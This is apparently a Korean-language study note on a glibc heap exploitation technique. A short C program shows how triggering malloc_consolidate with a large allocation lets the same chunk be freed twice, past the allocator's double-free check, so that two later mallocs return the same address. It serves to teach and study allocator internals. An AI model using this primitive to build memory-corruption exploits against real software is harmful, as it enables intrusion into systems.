소스코드
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
int main() {
void* p1 = malloc(0x40);
void* p2 = malloc(0x40);
fprintf(stderr, "Allocated two fastbins: p1=%p p2=%p\n", p1, p2);
fprintf(stderr, "Now free p1!\n");
free(p1);
void* p3 = malloc(0x400);
fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3);
fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.\n");
free(p1);
fprintf(stderr, "Trigger the double free vulnerability!\n");
fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.\n");
fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n", malloc(0x40), malloc(0x40));
}
분석
void* p1 = malloc(0x40);
void* p2 = malloc(0x40);
fprintf(stderr, "Allocated two fastbins: p1=%p p2=%p\n", p1, p2);
두 개의 fastbin 사이즈의 힙 청크 할당
fprintf(stderr, "Now free p1!\n");
free(p1);
free(p1)
void* p3 = malloc(0x400);
fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3);
fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.\n");
largebin 사이즈의 힙 청크 할당
여기서 largebin 사이즈의 힙 청크가 할당되면서 malloc_consolidate() 함수가 호출되고 여기서 fastbin에 들어간 p1이 smallbin에 병합됨
따라서 Double_Free 검증을 하는 구문에서 old, p 값이 서로 달라지게 되어 우회할 수 있게 됨
free(p1);
fprintf(stderr, "Trigger the double free vulnerability!\n");
더블 프리
fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.\n");
fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n", malloc(0x40), malloc(0x40));
malloc을 두번 할당함으로써 같은 주소를 반환받을 수 있음
실습
첫번째 free를 한 후 fastbin에 들어간 것을 확인
largebin사이즈의 힙을 할당함으로써 malloc_consolidate를 호출하여 smallbin으로 병합
다시 p1을 free하여 Double_free 발생
같은 주소를 할당받은 것을 확인할 수 있다.